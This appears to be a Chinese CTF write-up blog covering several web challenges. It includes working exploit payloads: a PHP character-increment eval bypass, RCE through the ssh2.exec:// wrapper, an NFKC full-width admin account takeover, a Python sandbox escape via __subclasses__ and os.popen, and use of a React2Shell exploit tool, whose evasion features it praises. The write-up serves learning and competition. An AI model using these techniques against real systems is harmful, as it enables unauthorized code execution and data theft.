CTF+随机困难部分

Plus_plus

查看源代码

发现有提示

复制代码
<?php
error_reporting(0);
if (isset($_GET['0xGame'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['web'])) {
    $web = $_POST['web'];
    if (strlen($web) <= 120) {
        限制提交的 $web 参数的长度不能超过 120 个字符
        if (is_string($web)) {
            确保 $web 是一个字符串类型,防止选手传入数组
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-BD-GI-Z~\\\\]/", $web)) {
                黑名单过滤
                eval($web);
            } else {
                echo("NONONO!");
            }
        } else {
            echo "No String!";
        }
    } else {
        echo "too long!";
    }
}
?>

被禁用的字母:

a-z:所有小写字母全被禁用。

A-B:禁用 A 和 B。

D-G:禁用 D, E, F, G。

I-Z:禁用 I 到 Z 的所有大写字母。

构造payload:_=\[\]._;=_\[1\];=_\[0\];++;_1=++;_++;++;_++;_++;_=_1.++_.;_=_.(71)._(69).(84);$$[1]($$[2]);

复制代码
PHP 变量自增绕过
数组强制转换为字符串会变成 "Array"
字符串可以像数组一样通过索引取字符
PHP 字符自增特性(例如 'A'++ 变成 'B')
动态函数调用(例如 $a='chr'; $a(65) 等同于 chr(65))

$_ = []._;
[] 是一个空数组。当空数组被尝试与字符串 _ 拼接时,PHP 会强制将数组转换为字符串
转换结果固定为 "Array"。所以拼接后 $_ 的值变成了 "Array_"
$__ = $_[1];
对字符串 "Array_" 进行索引取值。索引 0 是 'A',索引 1 是 'r'
$_ = $_[0];
同样地,取索引 0 的字符
$_++;
$_1 = ++$_;
$_++:将 'A' 自增变成 'B'。此时 $_ = "B"。
++$_:先自增将 'B' 变成 'C',然后赋值给 $_1
$_++;$_++;$_++;$_++;
$_(目前是 'C')连续自增 4 次:'C' -> 'D' -> 'E' -> 'F' -> 'G'
$_ = $_1 . ++$_ . $__;
++$_:将 'G' 自增变成 'H'
开始拼接:$_1 ('C') + 'H' + $__ ('r')
PHP 的函数名是不区分大小写的,所以 CHr 完全等同于 chr 函数(用于将 ASCII 码转为字符)
$_ = _ . $_(71) . $_(69) . $_(84);
这里的 $_() 相当于调用 CHr() 函数。
CHr(71) 对应大写字母 'G'。
CHr(69) 对应大写字母 'E'。
CHr(84) 对应大写字母 'T'。
拼接起来就是:"_" + "G" + "E" + "T"
此时变量状态:$_ = "_GET"
$$_[1]($$_[2]);
$$_ 相当于 ${"_GET"},也就是 PHP 的全局超全局变量 $_GET
$$_[1] 等同于 $_GET[1]。
$$_[2] 等同于 $_GET[2]

成功获取flag

一鸣唱吧

想注册admin结果用户名被注册

不管了,先注册看看,这里有一个上传页面

我上传了两个1.txt

发现其规律是UNiCTF2026xx后缀名不变。所以这里我们直接fuff爆破

复制代码
ffuf -u http://80-1868bf38-692b-49d4-aef2-6a3df5018807.challenge.ctfplus.cn/uploads/UNiCTF2026W1.W2 \
     -w num00.txt:W1 \
     -w /usr/share/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2 \
     -mode clusterbomb
-w: 指定要使用的字典文件
num00.txt:W1: 告诉 ffuf:"读取 num00.txt 这个文件里的每一行内容,并把它们填入到 URL 中 W1 所在的位置。
这是第二个 -w 参数,指定了第二个字典
这个字典是 SecLists 中专门存放常见文件扩展名(后缀名)的列表
-mode: 指定多字典组合的工作模式
clusterbomb(集束炸弹模式):这是最关键的参数。它意味着对两个字典进行笛卡尔积(全组合)测试。它会遍历所有的可能性

假设 num00.txt 里面有 01 和 02。
扩展名字典里有 php 和 txt。
使用 clusterbomb 模式时,ffuf 会发送以下 4 次请求,尝试所有的组合:

.../UNiCTF202601.php
.../UNiCTF202601.txt
.../UNiCTF202602.php
.../UNiCTF202602.txt

查看是一个phpinfo

可以发现php但是应该是非预期

看到另一个文件,后缀名db,是SQLite文件(类似的有.sqlite)

使用SQLiteSpy

MD5哈希解密

admin888

这里多了内部预览

提示可以用file://伪协议,尝试file:///var/www/html/download.php

复制代码
<?php
// 引入数据库连接
require_once 'includes/db.php';

if (session_status() === PHP_SESSION_NONE) { session_start(); }

if (!isset($_SESSION['user'])) {
    require_once 'includes/header.php';
    die("<div class='container'><p class='error'>请先登录会员系统!/ Access Denied</p></div>");
    require_once 'includes/footer.php';
}



if (isset($_GET['preview']) && $_GET['preview'] === "true" && isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
    

    $format = isset($_GET['format']) ? $_GET['format'] : '';

    // ========================================
    // 安全过滤:协议黑名单检查
    // ========================================
    $dangerousProtocols = [
        'php://',
        'data://',
        'phar://',
        'zip://',
        'compress.zlib://',
        'compress.bzip2://',
        'zlib://',
        'glob://',
        'expect://',
        'input://',
        'http://',
        'https://',
        'ftp://',
        'ftps://',
        'dict://',
        'gopher://',
        'tftp://',
        'ldap://',
        'ssh2.sftp://',
        'ssh2.scp://',
        'ssh2.tunnel://',
        'rar://',
        'ogg://',
    ];

    foreach ($dangerousProtocols as $protocol) {
        if (stripos($format, $protocol) !== false) {
            require_once 'includes/header.php';
            echo "<div class='container'>";
            echo "<p class='error'>⚠️ 安全警告:禁止使用该协议 " . htmlspecialchars($protocol) . "</p>";
            echo "<p>系统检测到潜在的安全风险,已拦截此次请求。</p>";
            echo "</div>";
            require_once 'includes/footer.php';
            exit;
        }
    }
    // ========================================

    $full_path = $format;

    $is_viewing_source = (strpos($format, 'file://') === 0);

    if ($is_viewing_source) {
        header('Content-Type: text/plain; charset=utf-8');
    } else {
        header('Content-Type: text/html; charset=utf-8');
        require_once 'includes/header.php';
        echo "<div class='container'><h2 class='neon-text'>🔧 管理员预览控制台</h2>";
        echo "<p class='message'>正在尝试加载资源流: <strong>" . htmlspecialchars($full_path) . "</strong></p>";
        echo "<div style='background: #000; padding: 15px; border: 1px solid #333; font-family: monospace; color: #0f0; white-space: pre-wrap;'>";
    }

    try {

        $handle = @fopen($full_path, 'r');

        if ($handle) {
            $content = stream_get_contents($handle);
            
            if ($is_viewing_source) {
                echo $content; 
            } else {
                echo htmlspecialchars($content); 
            }
            fclose($handle);
        } else {
            echo "Error: 资源加载失败。\n";
            echo "可能的原因为:\n";
            echo "1. 文件路径不存在\n";
            echo "2. 权限不足 (Permission Denied)\n";
            echo "3. 协议格式错误\n";
        }

    } catch (Exception $e) {
        echo "System Error: " . $e->getMessage();
    }


    if (!$is_viewing_source) {
        echo "</div></div>"; // 关闭 console 和 container
        require_once 'includes/footer.php';
    }
    
    exit; 

}



//普通会员文件下载

require_once 'includes/header.php';

if (isset($_GET['file'])) {
    $file = $_GET['file'];

    if (strpos($file, '..') === false && strpos($file, '/') === false) {
        $filepath = "uploads/" . $file;
        if (file_exists($filepath)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
            header('Content-Length: ' . filesize($filepath));
            readfile($filepath);
            exit;
        } else {
             echo "<p class='error'>文件不存在或已被移除。</p>";
        }
    } else {
         echo "<p class='error'>非法请求。</p>";
    }
}

$admin_panel = '';
if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
    $current_dir = __DIR__; 
    $admin_panel = <<<HTML
    <div class="admin-panel">
        <h3 class="neon-text">🔧 管理员内部预览 (Dev Mode)</h3>
        <p style="color: gray; font-size: 0.8em;">当前 Web 根目录: {$current_dir}</p>
        
        <form method="get" target="_blank">
            <input type="hidden" name="preview" value="true">
            <label>Resource URI:</label>
            <input type="text" name="format" placeholder="例如: file://{$current_dir}/index.php" style="width: 70%;" required>
            <button type="submit">加载资源</button>
        </form>
    </div>
HTML;
}
?>

<h2 class="neon-text">🎵 一鸣曲库 (归档中心)</h2>
<p>这里存放着系统归档文件。普通会员可根据文件名下载。</p>

<div style="margin-top: 30px; padding: 20px; background: rgba(0,0,0,0.3);">
    <h3>📥 歌曲/文件下载</h3>
    <form method="get">
        文件名: <input type="text" name="file" placeholder="输入文件名, 如 MGSG202500.mp3">
        <button type="submit">下载文件</button>
    </form>
</div>

<?php 
echo $admin_panel;
require_once 'includes/footer.php'; 
?>

strpos()是查找特定字符串在另一个字符串首次出现位置的函数,如果找到会返回对应的数字,没找到会返回false。注意在php中强碰撞是会比较类型的,0不是false。

在找洞的时候需要着重注意处理用户输入的逻辑,这里的fopen()函数支持封装流协议。然后就是过滤得越多的也越有可能有问题,这里还有一个ssh2模块的exec://协议没有被ban,该协议可以在远程ssh(secure shell)上执行命令(首先需要获得一个ssh用户的凭证)。

该协议的格式是这样的:ssh2.exec://user:pass@ip/cmd

ssh2可以在phpinfo里看到被引入了:

admin没有权限,切换一下账户为ctfer

复制代码
/download.php?preview=true&format=ssh2.exec://ctfer:duhgrl@127.0.0.1:22/ls+/+-al+>+/var/www/html/1.txt
/download.php?preview=true&format=ssh2.exec://ctfer:duhgrl@127.0.0.1:22/cat+/flflagag1SH3re+>+/var/www/html/1.txt

myblog

复制代码
myblog/
├── app.py              # 主应用入口
├── auth/
│   └── routes.py       # 认证相关路由(注册/登录)
├── blog/
│   └── routes.py       # 博客相关路由(查看/沙箱执行)
└── templates/          # HTML 模板

在 auth/routes.py 的注册功能中,有关键代码
 normalized_name = unicodedata.normalize('NFKC', username).lower()  # 归一化
尝试转化admin变为全角字符的admin,经过 NFKC 归一化后会变成 admin 绕过注册限制
在登录功能中
if user_db.get(username) == password:  # 直接使用原始用户名查询
所以归一化之后的admin就是真的admin了

from flask import Flask, Blueprint, request, session, flash, redirect, url_for, render_template
import unicodedata
auth_bp=Blueprint('auth',__name__)
user_db={"admin":"test"}#password is fake
@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password=request.form.get('password')
        if username == 'admin':
            flash("想得美")
            return redirect(url_for('auth.register'))
        normalized_name = unicodedata.normalize('NFKC', username).lower()        
        flash(f"注册并登录成功,欢迎:{normalized_name}")
        user_db[normalized_name]=password
        return redirect(url_for('auth.login'))

    return render_template('register.html')

@auth_bp.route('/login',methods=['GET', 'POST'])
def login():
	if request.method =='POST':
		username=request.form.get("username")
		password=request.form.get("password")
		if user_db.get(username)==password:
			session['user']=username
			flash(f'welcome {username}!')
			return redirect(url_for('blog.view'))
		else:
			flash('wrong!!!')
			return redirect(url_for('auth.login'))
	return render_template('login.html')

然后就是经典的沙箱逃逸了

由于 builtins 被清空,需要通过对象属性链恢复访问权限:

复制代码
classes = ().__class__.__bases__[0].__subclasses__()
target = [c for c in classes if c.__init__.__class__.__name__ == 'function' and 'sys' in c.__init__.__globals__]

原理:

().class → tuple

().class.bases[0] → object

object.subclasses() → 获取所有子类

过滤出 init 是函数(非 wrapper_descriptor)且 globals 包含 sys 的类

复制代码
sys_mod = target[0].__init__.__globals__['sys']
sys_mod.stdout.write(sys_mod.modules['os'].popen('ls /').read())

原理:

通过 init.globals['sys'] 获取 sys 模块

sys.modules['os'] 获取 os 模块

os.popen('command').read() 执行系统命令并读取输出

sys.stdout.write() 输出到捕获的 stdout

可以先找到flag在哪sys_mod.modules['os'].popen('find / -name "flag" -type f 2>/dev/null').read()

也可以直接cat /*/flag ,也能得到flag

复制代码
classes = ().__class__.__bases__[0].__subclasses__()
target = [c for c in classes if c.__init__.__class__.__name__ == 'function' and 'sys' in c.__init__.__globals__]
sys_mod = target[0].__init__.__globals__['sys']
sys_mod.stdout.write(sys_mod.modules['os'].popen('cat /app/flag').read())

注册全角 admin → NFKC 归一化覆盖 admin 密码
        ↓
用 admin/hacker123 登录
        ↓
进入 /execute 沙箱
        ↓
找到包含 sys 模块的类
        ↓
获取 sys 模块并执行命令
        ↓
读取 flag

phpmaster

复制代码
<?php
highlight_file(__FILE__);

$star = isset($_GET['star']) ? $_GET['star'] : '';
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $star)) {
    eval($star);
}
正则 /[^\W]+\((?R)?\)/ 匹配模式:
[^\W]+ - 匹配函数名(字母、数字、下划线)
\((?R)?\) - 匹配括号,内部可以递归匹配相同模式
这意味着只能使用 func() 或 func(func()) 形式的调用

该正则只允许无参数函数调用或嵌套函数调用,无法直接传递字符串参数

复制代码
file(implode(array_filter(array_unique(each(array_values(array_unique(each(array_filter(getallheaders())))))))))
getallheaders() 获取所有请求头
array_filter() 移除空值头部
each() 获取第一个非空头部的键值对
array_unique() 去重
array_values() 重新索引
each() 再次获取第一个元素
array_filter() 过滤掉数字 0
implode() 连接得到文件路径
file() 读取文件内容
配合 HTTP 头部:Z-Flag: /flag
使用 Z-Flag 作为头部名称是因为字母 Z 排序靠后,经过 array_filter() 处理后会排在数组前面,便于 each() 提取

我又想到有没有可能phpinfo()也是可以的

我裂开来

查半天php手册文章

没话说,应该把phpinfo去掉,非预期!

react2shell

React 生态曝出CVE-2025-55182(React2Shell) 高危远程代码执行(RCE)漏洞,该漏洞影响 React Server Components(RSC)核心组件,已被美国 CISA 纳入已知可利用漏洞目录

复制代码
目前公开的 CVE-2025-55182 利用工具(react-2-shell-ultimate.py)具备高度成熟的攻击能力,核心特征如下:
多维度利用方式
支持 6 种 exploitation 技术,包括 Multipart POST、JSON POST、GET 参数、Windows 专属载荷、文件输出、表单编码等多种请求方式,可绕过基础的请求拦截规则;
智能载荷与规避
支持动态生成反检测载荷,适配 Windows/Linux 不同系统,同时具备命令转义、编码处理能力,可规避基础的 WAF 与入侵检测规则;
隐蔽性与兼容性
支持随机 User-Agent 轮换、SSL 证书验证绕过,输出日志可控,攻击行为更隐蔽,且跨 Windows/Linux/macOS 平台运行,适配各类攻击环境;
便捷化测试
内置非破坏性测试模式,可快速验证漏洞是否存在,无需实际执行高危命令,大幅提升攻击效率。

python react-2-shell-ultimate.py -t http://3000-e1c0c436-6515-46a2-8cd8-9aad4196a22d.challenge.ctfplus.cn/ -c "ls /"

python react-2-shell-ultimate.py -t http://3000-e1c0c436-6515-46a2-8cd8-9aad4196a22d.challenge.ctfplus.cn/ -c "cat /flag"

only_real_revenge

进来点不了任何东西

先把disabled给删了

发现token不太对劲

jwt_tool爆破出来cdef

后面还有限制,还得绕

相关推荐
上海云盾安全满满1 小时前
服务器被攻击了,更换IP是否有用吗
服务器·网络·tcp/ip
阿巴斯甜1 小时前
LiveData
android
随身数智备忘录1 小时前
安全巡检执行率能解决哪些场景痛点?一套安全巡检执行率提升方案实战
安全
沐风。561 小时前
pyton笔记
开发语言
eggcode1 小时前
虚拟机NAT模式网络未连接
网络·虚拟机
Forrit1 小时前
使用 Self-Instruct 构建医学问答数据集
网络·transformer
自不量力的A同学1 小时前
PHP 8.5.6 发布
开发语言·php
基德爆肝c语言1 小时前
Qt控件:按钮类
开发语言·qt
茉莉玫瑰花茶1 小时前
LangGraph 入门教程:构建 AI 工作流 [ 案例二 ]
开发语言·人工智能·python